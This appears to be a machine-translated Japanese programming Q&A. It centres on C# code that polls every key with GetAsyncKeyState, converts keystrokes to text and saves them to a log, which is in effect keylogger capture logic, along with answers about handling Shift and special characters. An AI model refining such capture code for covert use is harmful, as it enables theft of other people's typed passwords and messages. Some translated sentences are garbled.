2017-06-26 1 views
0

は、私はGetAsyncKeyStateでアクティブなキーを処理します。キャプチャ特殊キー文字

Keys lastKey = 0; 
while (true) 
{ 
    Boolean shiftKey; 
    Boolean capsLock; 
    String text = ""; 
    Thread.Sleep(captureTime); 
    for (int i = 0; i< 1000; i++) 
    { 
     int keyState = GetAsyncKeyState(i); 
     if (keyState == 1 || keyState == -32767) 
     { 
      shiftKey = Convert.ToBoolean(GetAsyncKeyState((int) Keys.ShiftKey)); 
      capsLock = Convert.ToBoolean(GetAsyncKeyState((int) Keys.CapsLock)); 
      text = processKey((Keys) i, shiftKey, capsLock); 

      if (checkNewLine(lastKey, (Keys) i)) 
      { 
       saveLog(text); 
      } 
      lastKey = (Keys) i; 
     } 
    } 
} 

キー処理機能processKey、プロセスキータイプに依存キーを、私はどのような特殊キーを処理するためには考えている:;シフトや特別他を必要とし、「¿?!・$%を&」 "@#"のようなaltを必要とする文字。

別の文字の組み合わせではなく、たとえばshift + 0を押すとコンソールは「=」を出力するはずですが、私の場合はコンソールに「[SHIFT]」「0」を書きます。

switch(key) 
{ 

    case Keys.Back: 
    case Keys.ShiftKey: 
     text = "["+key.ToString()+"]"; 
     break; 
    case Keys.Enter: 
     text = Environment.NewLine; 
     break; 
    case Keys.Space: 
     text = " "; 
     break; 
    case Keys.Tab: 
     text = "\t"; 
     break; 
    default: 
     IntPtr windowHandle = GetForegroundWindow(); 
     uint processId; 
     uint threadId = GetWindowThreadProcessId(windowHandle, out processId); 
     byte[] kState = new byte[256]; 
     GetKeyboardState(kState); 
     uint layout = GetKeyboardLayout(threadId); 
     StringBuilder keyName = new StringBuilder(); 
     ToUnicodeEx((uint)key, (uint)key, kState, keyName, 16, 0, layout); 
     text = keyName.ToString(); 
     if((int)key >=65 && (int)key <= 90) 
     { 
      text = (!shiftKey && capsLock || shiftKey && !capsLock ? Convert.ToChar(key).ToString() 
      : Convert.ToChar(key).ToString().ToLower()); 
     } 

     break; 
} 
return text; 
+1

それはあなたが[死んキー](http://archives.miloush.net/michkap/archive/2006/03/24/559169.html)に対処しなければならないとき、本当に複雑にし始め - そのシリーズ全体を読んでますお手伝いをしてください。 – stuartd

答えて

1

あなたは二つの概念を混乱している:あります

はprocessKey機能(ユニコード)です。

  1. GetAsyncKeyStateは、仮想キーボードの状態を返します。言い換えれば、キーボードのキーが押されたかどうかを示します。
  2. あなたは$または%を処理したいと言ったときに、それらのキーアレント、それらは入力文字です。 Windowsはそれらを作成しますが、WM_CHARメッセージを処理する必要があります。ボーナスとして、これはまた、ユニコードを扱うでしょう。

あなたはおそらく2アプローチを使用する必要があります。

また:あなたはしばらく(1){...睡眠()...}ループのスタイルを使用するはずの。